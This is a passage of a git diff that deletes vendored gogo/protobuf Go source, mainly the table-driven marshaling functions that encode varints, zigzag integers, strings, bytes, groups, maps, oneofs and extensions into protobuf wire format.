appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(8*len(s))) - for _, v := range s { - b = appendFixed64(b, math.Float64bits(v)) - } - return b, nil -} -func appendVarint32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarint32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarint32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(*p)) - return b, nil -} -func appendVarint32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarint32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarintS32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := ptr.getInt32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(*p)) - return b, nil -} -func appendVarintS32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarintS32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarint64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - b = appendVarint(b, wiretag) - b = appendVarint(b, v) - return b, nil -} -func appendVarint64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, v) - return b, nil -} -func appendVarint64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, *p) - return b, nil -} -func appendVarint64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, v) - } - return b, nil -} -func appendVarint64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(v) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, v) - } - return b, nil -} -func appendVarintS64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toInt64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(*p)) - return b, nil -} -func appendVarintS64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarintS64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendZigzag32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - return b, nil -} -func appendZigzag32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - return b, nil -} -func appendZigzag32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := ptr.getInt32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - v := *p - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - return b, nil -} -func appendZigzag32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - } - return b, nil -} -func appendZigzag32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64((uint32(v) << 1) ^ uint32((int32(v) >> 31)))) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - } - return b, nil -} -func appendZigzag64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - return b, nil -} -func appendZigzag64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - return b, nil -} -func appendZigzag64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toInt64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - v := *p - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - return b, nil -} -func appendZigzag64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - } - return b, nil -} -func appendZigzag64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v<<1) ^ uint64((int64(v) >> 63))) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - } - return b, nil -} -func appendBoolValue(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBool() - b = appendVarint(b, wiretag) - if v { - b = append(b, 1) - } else { - b = append(b, 0) - } - return b, nil -} -func appendBoolValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBool() - if !v { - return b, nil - } - b = appendVarint(b, wiretag) - b = append(b, 1) - return b, nil -} - -func appendBoolPtr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toBoolPtr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - if *p { - b = append(b, 1) - } else { - b = append(b, 0) - } - return b, nil -} -func appendBoolSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toBoolSlice() - for _, v := range s { - b = appendVarint(b, wiretag) - if v { - b = append(b, 1) - } else { - b = append(b, 0) - } - } - return b, nil -} -func appendBoolPackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toBoolSlice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(len(s))) - for _, v := range s { - if v { - b = append(b, 1) - } else { - b = append(b, 0) - } - } - return b, nil -} -func appendStringValue(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toString() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendStringValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toString() - if v == "" { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendStringPtr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toStringPtr() - if p == nil { - return b, nil - } - v := *p - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendStringSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toStringSlice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - } - return b, nil -} -func appendUTF8StringValue(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - v := *ptr.toString() - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendUTF8StringValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - v := *ptr.toString() - if v == "" { - return b, nil - } - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendUTF8StringPtr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - p := *ptr.toStringPtr() - if p == nil { - return b, nil - } - v := *p - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendUTF8StringSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - s := *ptr.toStringSlice() - for _, v := range s { - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - } - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendBytes(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBytes() - if v == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendBytes3(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBytes() - if len(v) == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendBytesOneof(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBytes() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendBytesSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toBytesSlice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - } - return b, nil -} - -// makeGroupMarshaler returns the sizer and marshaler for a group. -// u is the marshal info of the underlying message. -func makeGroupMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - p := ptr.getPointer() - if p.isNil() { - return 0 - } - return u.size(p) + 2*tagsize - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - p := ptr.getPointer() - if p.isNil() { - return b, nil - } - var err error - b = appendVarint(b, wiretag) // start group - b, err = u.marshal(b, p, deterministic) - b = appendVarint(b, wiretag+(WireEndGroup-WireStartGroup)) // end group - return b, err - } -} - -// makeGroupSliceMarshaler returns the sizer and marshaler for a group slice. -// u is the marshal info of the underlying message. -func makeGroupSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getPointerSlice() - n := 0 - for _, v := range s { - if v.isNil() { - continue - } - n += u.size(v) + 2*tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getPointerSlice() - var err error - var nerr nonFatal - for _, v := range s { - if v.isNil() { - return b, errRepeatedHasNil - } - b = appendVarint(b, wiretag) // start group - b, err = u.marshal(b, v, deterministic) - b = appendVarint(b, wiretag+(WireEndGroup-WireStartGroup)) // end group - if !nerr.Merge(err) { - if err == ErrNil { - err = errRepeatedHasNil - } - return b, err - } - } - return b, nerr.E - } -} - -// makeMessageMarshaler returns the sizer and marshaler for a message field. -// u is the marshal info of the message. -func makeMessageMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - p := ptr.getPointer() - if p.isNil() { - return 0 - } - siz := u.size(p) - return siz + SizeVarint(uint64(siz)) + tagsize - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - p := ptr.getPointer() - if p.isNil() { - return b, nil - } - b = appendVarint(b, wiretag) - siz := u.cachedsize(p) - b = appendVarint(b, uint64(siz)) - return u.marshal(b, p, deterministic) - } -} - -// makeMessageSliceMarshaler returns the sizer and marshaler for a message slice. -// u is the marshal info of the message. -func makeMessageSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getPointerSlice() - n := 0 - for _, v := range s { - if v.isNil() { - continue - } - siz := u.size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getPointerSlice() - var err error - var nerr nonFatal - for _, v := range s { - if v.isNil() { - return b, errRepeatedHasNil - } - b = appendVarint(b, wiretag) - siz := u.cachedsize(v) - b = appendVarint(b, uint64(siz)) - b, err = u.marshal(b, v, deterministic) - - if !nerr.Merge(err) { - if err == ErrNil { - err = errRepeatedHasNil - } - return b, err - } - } - return b, nerr.E - } -} - -// makeMapMarshaler returns the sizer and marshaler for a map field. -// f is the pointer to the reflect data structure of the field. -func makeMapMarshaler(f *reflect.StructField) (sizer, marshaler) { - // figure out key and value type - t := f.Type - keyType := t.Key() - valType := t.Elem() - tags := strings.Split(f.Tag.Get("protobuf"), ",") - keyTags := strings.Split(f.Tag.Get("protobuf_key"), ",") - valTags := strings.Split(f.Tag.Get("protobuf_val"), ",") - stdOptions := false - for _, t := range tags { - if strings.HasPrefix(t, "customtype=") { - valTags = append(valTags, t) - } - if t == "stdtime" { - valTags = append(valTags, t) - stdOptions = true - } - if t == "stdduration" { - valTags = append(valTags, t) - stdOptions = true - } - if t == "wktptr" { - valTags = append(valTags, t) - } - } - keySizer, keyMarshaler := typeMarshaler(keyType, keyTags, false, false) // don't omit zero value in map - valSizer, valMarshaler := typeMarshaler(valType, valTags, false, false) // don't omit zero value in map - keyWireTag := 1<<3 | wiretype(keyTags[0]) - valWireTag := 2<<3 | wiretype(valTags[0]) - - // We create an interface to get the addresses of the map key and value. - // If value is pointer-typed, the interface is a direct interface, the - // idata itself is the value. Otherwise, the idata is the pointer to the - // value. - // Key cannot be pointer-typed. - valIsPtr := valType.Kind() == reflect.Ptr - - // If value is a message with nested maps, calling - // valSizer in marshal may be quadratic. We should use - // cached version in marshal (but not in size). - // If value is not message type, we don't have size cache, - // but it cannot be nested either. Just use valSizer. - valCachedSizer := valSizer - if valIsPtr && !stdOptions && valType.Elem().Kind() == reflect.Struct { - u := getMarshalInfo(valType.Elem()) - valCachedSizer = func(ptr pointer, tagsize int) int { - // Same as message sizer, but use cache. - p := ptr.getPointer() - if p.isNil() { - return 0 - } - siz := u.cachedsize(p) - return siz + SizeVarint(uint64(siz)) + tagsize - } - } - return func(ptr pointer, tagsize int) int { - m := ptr.asPointerTo(t).Elem() // the map - n := 0 - for _, k := range m.MapKeys() { - ki := k.Interface() - vi := m.MapIndex(k).Interface() - kaddr := toAddrPointer(&ki, false) // pointer to key - vaddr := toAddrPointer(&vi, valIsPtr) // pointer to value - siz := keySizer(kaddr, 1) + valSizer(vaddr, 1) // tag of key = 1 (size=1), tag of val = 2 (size=1) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, tag uint64, deterministic bool) ([]byte, error) { - m := ptr.asPointerTo(t).Elem() // the map - var err error - keys := m.MapKeys() - if len(keys) > 1 && deterministic { - sort.Sort(mapKeys(keys)) - } - - var nerr nonFatal - for _, k := range keys { - ki := k.Interface() - vi := m.MapIndex(k).Interface() - kaddr := toAddrPointer(&ki, false) // pointer to key - vaddr := toAddrPointer(&vi, valIsPtr) // pointer to value - b = appendVarint(b, tag) - siz := keySizer(kaddr, 1) + valCachedSizer(vaddr, 1) // tag of key = 1 (size=1), tag of val = 2 (size=1) - b = appendVarint(b, uint64(siz)) - b, err = keyMarshaler(b, kaddr, keyWireTag, deterministic) - if !nerr.Merge(err) { - return b, err - } - b, err = valMarshaler(b, vaddr, valWireTag, deterministic) - if err != ErrNil && !nerr.Merge(err) { // allow nil value in map - return b, err - } - } - return b, nerr.E - } -} - -// makeOneOfMarshaler returns the sizer and marshaler for a oneof field. -// fi is the marshal info of the field. -// f is the pointer to the reflect data structure of the field. -func makeOneOfMarshaler(fi *marshalFieldInfo, f *reflect.StructField) (sizer, marshaler) { - // Oneof field is an interface. We need to get the actual data type on the fly. - t := f.Type - return func(ptr pointer, _ int) int { - p := ptr.getInterfacePointer() - if p.isNil() { - return 0 - } - v := ptr.asPointerTo(t).Elem().Elem().Elem() // *interface -> interface -> *struct -> struct - telem := v.Type() - e := fi.oneofElems[telem] - return e.sizer(p, e.tagsize) - }, - func(b []byte, ptr pointer, _ uint64, deterministic bool) ([]byte, error) { - p := ptr.getInterfacePointer() - if p.isNil() { - return b, nil - } - v := ptr.asPointerTo(t).Elem().Elem().Elem() // *interface -> interface -> *struct -> struct - telem := v.Type() - if telem.Field(0).Type.Kind() == reflect.Ptr && p.getPointer().isNil() { - return b, errOneofHasNil - } - e := fi.oneofElems[telem] - return e.marshaler(b, p, e.wiretag, deterministic) - } -} - -// sizeExtensions computes the size of encoded data for a XXX_InternalExtensions field. -func (u *marshalInfo) sizeExtensions(ext *XXX_InternalExtensions) int { - m, mu := ext.extensionsRead() - if m == nil { - return 0 - } - mu.Lock() - - n := 0 - for _, e := range m { - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - n += len(e.enc) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - n += ei.sizer(p, ei.tagsize) - } - mu.Unlock() - return n -} - -// appendExtensions marshals a XXX_InternalExtensions field to the end of byte slice b. -func (u *marshalInfo) appendExtensions(b []byte, ext *XXX_InternalExtensions, deterministic bool) ([]byte, error) { - m, mu := ext.extensionsRead() - if m == nil { - return b, nil - } - mu.Lock() - defer mu.Unlock() - - var err error - var nerr nonFatal - - // Fast-path for common cases: zero or one extensions. - // Don't bother sorting the keys. - if len(m) <= 1 { - for _, e := range m { - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - b = append(b, e.enc...) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - b, err = ei.marshaler(b, p, ei.wiretag, deterministic) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E - } - - // Sort the keys to provide a deterministic encoding. - // Not sure this is required, but the old code does it. - keys := make([]int, 0, len(m)) - for k := range m { - keys = append(keys, int(k)) - } - sort.Ints(keys) - - for _, k := range keys { - e := m[int32(k)] - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - b = append(b, e.enc...) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - b, err = ei.marshaler(b, p, ei.wiretag, deterministic) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E -} - -// message set format is: -// message MessageSet { -// repeated group Item = 1 { -// required int32 type_id = 2; -// required string message = 3; -// }; -// } - -// sizeMessageSet computes the size of encoded data for a XXX_InternalExtensions field -// in message set format (above). -func (u *marshalInfo) sizeMessageSet(ext *XXX_InternalExtensions) int { - m, mu := ext.extensionsRead() - if m == nil { - return 0 - } - mu.Lock() - - n := 0 - for id, e := range m { - n += 2 // start group, end group. tag = 1 (size=1) - n += SizeVarint(uint64(id)) + 1 // type_id, tag = 2 (size=1) - - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - msgWithLen := skipVarint(e.enc) // skip old tag, but leave the length varint - siz := len(msgWithLen) - n += siz + 1 // message, tag = 3 (size=1) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - n += ei.sizer(p, 1) // message, tag = 3 (size=1) - } - mu.Unlock() - return n -} - -// appendMessageSet marshals a XXX_InternalExtensions field in message set format (above) -// to the end of byte slice b. -func (u *marshalInfo) appendMessageSet(b []byte, ext *XXX_InternalExtensions, deterministic bool) ([]byte, error) { - m, mu := ext.extensionsRead() - if m == nil { - return b, nil - } - mu.Lock() - defer mu.Unlock() - - var err error - var nerr nonFatal - - // Fast-path for common cases: zero or one extensions. - // Don't bother sorting the keys. - if len(m) <= 1 { - for id, e := range m { - b = append(b, 1<<3|WireStartGroup) - b = append(b, 2<<3|WireVarint) - b = appendVarint(b, uint64(id)) - - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - msgWithLen := skipVarint(e.enc) // skip old tag, but leave the length varint - b = append(b, 3<<3|WireBytes) - b = append(b, msgWithLen...) - b = append(b, 1<<3|WireEndGroup) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - b, err = ei.marshaler(b, p, 3<<3|WireBytes, deterministic) - if !nerr.Merge(err) { - return b, err - } - b = append(b, 1<<3|WireEndGroup) - } - return b, nerr.E - } - - // Sort the keys to provide a deterministic encoding. - keys := make([]int, 0, len(m)) - for k := range m { - keys = append(keys, int(k)) - } - sort.Ints(keys) - - for _, id := range keys { - e := m[int32(id)] - b = append(b, 1<<3|WireStartGroup) - b = append(b, 2<<3|WireVarint) - b = appendVarint(b, uint64(id)) - - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - msgWithLen := skipVarint(e.enc) // skip old tag, but leave the length varint - b = append(b, 3<<3|WireBytes) - b = append(b, msgWithLen...) - b = append(b, 1<<3|WireEndGroup) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - b, err = ei.marshaler(b, p, 3<<3|WireBytes, deterministic) - b = append(b, 1<<3|WireEndGroup) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E -} - -// sizeV1Extensions computes the size of encoded data for a V1-API extension field. -func (u *marshalInfo) sizeV1Extensions(m map[int32]Extension) int { - if m == nil { - return 0 - } - - n := 0 - for _, e := range m { - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - n += len(e.enc) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - n += ei.sizer(p, ei.tagsize) - } - return n -} - -// appendV1Extensions marshals a V1-API extension field to the end of byte slice b. -func (u *marshalInfo) appendV1Extensions(b []byte, m map[int32]Extension, deterministic bool) ([]byte, error) { - if m == nil { - return b, nil - } - - // Sort the keys to provide a deterministic encoding. - keys := make([]int, 0, len(m)) - for k := range m { - keys = append(keys, int(k)) - } - sort.Ints(keys) - - var err error - var nerr nonFatal - for _, k := range keys { - e := m[int32(k)] - if e.value == nil || e.desc == nil { - // Extension is only in its encoded form. - b = append(b, e.enc...) - continue - } - - // We don't skip extensions that have an encoded form set, - // because the extension value may have been mutated after - // the last time this function was called. - - ei := u.getExtElemInfo(e.desc) - v := e.value - p := toAddrPointer(&v, ei.isptr) - b, err = ei.marshaler(b, p, ei.wiretag, deterministic) - if !nerr.Merge(err) { - return b, err - } - } - return b, nerr.E -} - -// newMarshaler is the interface representing objects that can marshal themselves. -// -// This exists to support protoc-gen-go generated messages. -// The proto package will stop type-asserting to this interface in the future. -// -// DO NOT DEPEND ON THIS. -type newMarshaler interface { - XXX_Size() int - XXX_Marshal(b []byte, deterministic bool) ([]byte, error) -} - -// Size returns the encoded size of a protocol buffer message. -// This is the main entry point. -func Size(pb Message) int { - if m, ok := pb.(newMarshaler); ok { - return m.XXX_Size() - } - if m, ok := pb.(Marshaler); ok { - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - b, _ := m.Marshal() - return len(b) - } - // in case somehow we didn't generate the wrapper - if pb == nil { - return 0 - } - var info InternalMessageInfo - return info.Size(pb) -} - -// Marshal takes a protocol buffer message -// and encodes it into the wire format, returning the data. -// This is the main entry point. -func Marshal(pb Message) ([]byte, error) { - if m, ok := pb.(newMarshaler); ok { - siz := m.XXX_Size() - b := make([]byte, 0, siz) - return m.XXX_Marshal(b, false) - } - if m, ok := pb.(Marshaler); ok { - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - return m.Marshal() - } - // in case somehow we didn't generate the wrapper - if pb == nil { - return nil, ErrNil - } - var info InternalMessageInfo - siz := info.Size(pb) - b := make([]byte, 0, siz) - return info.Marshal(b, pb, false) -} - -// Marshal takes a protocol buffer message -// and encodes it into the wire format, writing the result to the -// Buffer. -// This is an alternative entry point. It is not necessary to use -// a Buffer for most applications. -func (p *Buffer) Marshal(pb Message) error { - var err error - if p.deterministic { - if _, ok := pb.(Marshaler); ok { - return fmt.Errorf("proto: deterministic not supported by the Marshal method of %T", pb) - } - } - if m, ok := pb.(newMarshaler); ok { - siz := m.XXX_Size() - p.grow(siz) // make sure buf has enough capacity - pp := p.buf[len(p.buf) : len(p.buf) : len(p.buf)+siz] - pp, err = m.XXX_Marshal(pp, p.deterministic) - p.buf = append(p.buf, pp...) - return err - } - if m, ok := pb.(Marshaler); ok { - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - var b []byte - b, err = m.Marshal() - p.buf = append(p.buf, b...) - return err - } - // in case somehow we didn't generate the wrapper - if pb == nil { - return ErrNil - } - var info InternalMessageInfo - siz := info.Size(pb) - p.grow(siz) // make sure buf has enough capacity - p.buf, err = info.Marshal(p.buf, pb, p.deterministic) - return err -} - -// grow grows the buffer's capacity, if necessary, to guarantee space for -// another n bytes. After grow(n), at least n bytes can be written to the -// buffer without another allocation. -func (p *Buffer) grow(n int) { - need := len(p.buf) + n - if need <= cap(p.buf) { - return - } - newCap := len(p.buf) * 2 - if newCap < need { - newCap = need - } - p.buf = append(make([]byte, 0, newCap), p.buf...) -} diff --git a/vendor/github.com/gogo/protobuf/proto/table_marshal_gogo.go b/vendor/github.com/gogo/protobuf/proto/table_marshal_gogo.go deleted file mode 100644 index 997f57c1..00000000 --- a/vendor/github.com/gogo/protobuf/proto/table_marshal_gogo.go +++ /dev/null @@ -1,388 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. 